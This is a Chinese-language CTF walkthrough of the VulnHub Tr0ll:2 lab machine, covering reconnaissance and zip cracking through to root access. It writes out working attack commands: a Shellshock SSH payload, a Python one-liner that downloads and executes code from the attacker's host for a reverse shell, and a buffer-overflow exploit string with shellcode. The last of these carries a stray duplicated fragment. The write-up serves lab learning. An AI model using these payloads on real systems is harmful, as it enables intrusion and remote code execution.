No.9-VulnHub-Tr0ll:2-Walkthrough渗透学习

**

VulnHub-Tr0ll:2-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/tr0ll-2,107/
靶机难度:中级(CTF)
靶机发布日期:2014年10月24日
靶机描述:Tr0ll系列VM中的下一台计算机,这比原始的Tr0ll难度有所提高,但是解决所需的时间大致相同,并且毫无疑问,巨魔仍然存在!
难度是从初学者到中级。
目标:得到root权限&找到proof.txt
作者:大余
时间:2020-1-6

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

展示Tr0ll:2的界面
在这里插入图片描述
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
在这里插入图片描述
我们已经找到了此次CTF目标计算机IP地址:192.168.182.153
我们开始探索机器。第一步是找出目标计算机上可用的开放端口和一些服务
在这里插入图片描述
命令:nmap -sS -sV -T5 -A -p- 192.168.182.153
可以在上面看到Nmap找到开放了21、22、80端口
在这里插入图片描述
在这里插入图片描述
直接访问80,作者:Tr0ll…没啥特别有用的信息,将图片下载下来,里面查看也没啥信息
那就回去针对下21端口试试
在这里插入图片描述
登录输入账号密码,我用前面80端口发现的作者信息登录了下…成功登录…
作者:Tr0ll
看到有一个名为lmao的zip文件,将他下载到本地
在这里插入图片描述
在这里插入图片描述
unzip解压发现需要密码…尝试破解不成功(学艺不精)
那就从别的地方找密码了,回到web界面爆破
在这里插入图片描述
又发现了rebots.txt文件(下次渗透还是别扫了,直接访问试试有没有这个文件)
在这里插入图片描述
一个接一个地尝试打开文件夹太花费时间了,用别的方式缩减时间!!
在这里插入图片描述
这边创建了一个文件夹方便找数据,然后将rebots文本下载
在这里插入图片描述
继续用dirb扫描目录…
在这里插入图片描述
发现一张图…真恶搞
在这里插入图片描述
查看源代码,cat_the_troll.jpg隐藏了一个jpg文件进入
http://192.168.182.153/dont_bother/cat_the_troll.jpg
在这里插入图片描述
在这里插入图片描述
下载到本地分析它!!!
在这里插入图片描述
tail命令可以将文件指定位置到文件结束的内容写到标准输出
命令:tail -n 3 cat_the_troll.jpg
最后让我们深入y0ur_self 去了解…访问
在这里插入图片描述
在这里插入图片描述
answer文件全是base64值,这边进行解读
先下载到本地
在这里插入图片描述
下载后进行base64解码并放入新建文本中
在这里插入图片描述
解码出很多很多值,这边可以开始对lmao.zip压缩文件进行攻击破解了…前面没有密码库
在这里插入图片描述
使用fcrackzip工具(专门用来破解zip密码)
PASSWORD FOUND!!!: pw == ItCantReallyBeThisEasyRightLOL
登录
在这里插入图片描述
成功登录,有个noob文件
在这里插入图片描述
SHA256私钥,我们用这个密码登录22端口试试
在这里插入图片描述
命令:ssh -i noob [email protected]
这里的意思是,链接失效了,可以登录需要外壳拿权限
这边试了有几种方法,一种一种试试
在这里插入图片描述
链接:https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
在这里插入图片描述
在这里插入图片描述
命令:ssh [email protected] -i noob -t “() { :; }; /bin/bash”
学艺不精这里,脑补中…终于成功进入
在这里插入图片描述
这边看了目录,可能不够细心还是没信息,经验告诉我,这里要使用二进制、缓冲区溢出渗透了
这边我们使用exploit进行命令注入攻击拿到反弹shell在本地上
学习链接:https://www.hackingarticles.in/command-injection-exploitation-using-web-delivery-linux-windows/
在这里插入图片描述
run跑起来
在这里插入图片描述
python -c “import sys;u=import(‘urllib’+{2:’’,3:’.request’}[sys.version_info[0]],fromlist=(‘urlopen’,));r=u.urlopen(‘http://192.168.182.149:8080/AYTur8RzbbdxJ’);exec(r.read());”
在这里插入图片描述
这边进行跑shell
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
开始是不成功的,后面在慢慢跑动后,使用session 2就进入了…
使用python -c 'import pty; pty.spawn("/bin/bash")'进入noob用户
这边开始进一步查看

命令:find / -perm -4000 2>/dev/null
使用find查看底层目录
在这里插入图片描述
果然是缓冲区溢出的题…我的弱项,好吧继续冲
在这里插入图片描述
先查看door2,让我们输入
用gdb进行拆解
在这里插入图片描述
命令:gdb -q r00t(加载执行r00t程序发生溢出时来跟踪EIP的值)
命令:set disassembly-flavor intel(转换为intel格式的汇编)
命令:disas main(显示main函数对应的汇编代码)
在这里插入图片描述
这边使用Metasploit实现对缓冲区栈的溢出攻击
使用Metasploit中的pattern_create.rb脚本生成字符序列
在这里插入图片描述
命令:cd /usr/share/metasploit-framework/tools/exploit/(进入msf的EXP库)
命令:./pattern_create.rb -l 500(可以看到我们只要在pattern_create.rb脚本的后面加上-L字符序列长度就可以生成指定长度的字符序列,查看了500的长度即可)
在这里插入图片描述
这边R跑下这个值,提示故障表示已经溢出了:0x6a413969
在这里插入图片描述
Metasploit下的pattern_offset.rb,首先我们先查看pattern_offset.rb脚本的帮助信息
这边-q 是执行Aa0A(溢出值的6a413969)
在这里插入图片描述
命令:./pattern_offset.rb -q 6a413969
返回偏移量结果268
在这里插入图片描述
参考
在这里插入图片描述
命令:i r esp(查看浮点)
得到了EXP的位置是0xbffffa80(真难理解)
现在需要获取一些shellcode,www.shell-storm.org/shellcode这是非常好的一个写shellcode的学习网站,利用存储已编写的Shellcode。因为它运行在Intel,并且操作系统是32位Linux,因此我从此处获取Shellcode连接:http : //shell-storm.org/shellcode/files/shellcode-827.php
在这里插入图片描述
char *shellcode = “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69”
“\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”;

有了shellcode就有了制作缓冲区溢出所需的三个组件,我的模板:
二进制中到缓冲区里的EIP+ESP位置+268+Shellcode

./r00t $(python -c “print ‘A’ * 268 + ‘\x80\xfb\xff\xbf’ + ‘\x90’ * 16 + ‘\xba\xa0\x7b\x18\x95\xdb\xcd\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0b\x31\x50\x15\x83\xe8\xfc\x03\x50\x11\xe2\x55\x11\x13\xcd\x0c\xb4\x45\x85\x03\x5a\x03\xb2\x33\xb3\x60\x55\xc3\xa3\xa9\xc7\xaa\x5d\x3f\xe4\x7e\x4a\x37\xeb\x7e\x8a\x67\x89\x17\xe4\x58\x3e\x8f\xf8\xf1\x93\xc6\x18\x30\x93’”) <7\xeb\x7e\x8a\x67\x89\x17\xe4\x58\x3e\x8f\xf8\xf1\x93\xc6\x18\x30\x93’")
在这里插入图片描述
这边通过溢出拿到了root权限,Proof.txt:a70354f0258dcc00292c72aab3c8b1e4
You win this time young Jedi…

这里真的很难,渗透里面我最难理解,也最难懂的缓冲区溢出,今天虽然做出来了,但是还是得继续脑补,加油吧!!!

由于我们已经成功得到root权限&找到proof.txt,因此完成了CTF靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
在这里插入图片描述

发布了12 篇原创文章 · 获赞 2 · 访问量 700

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/103859935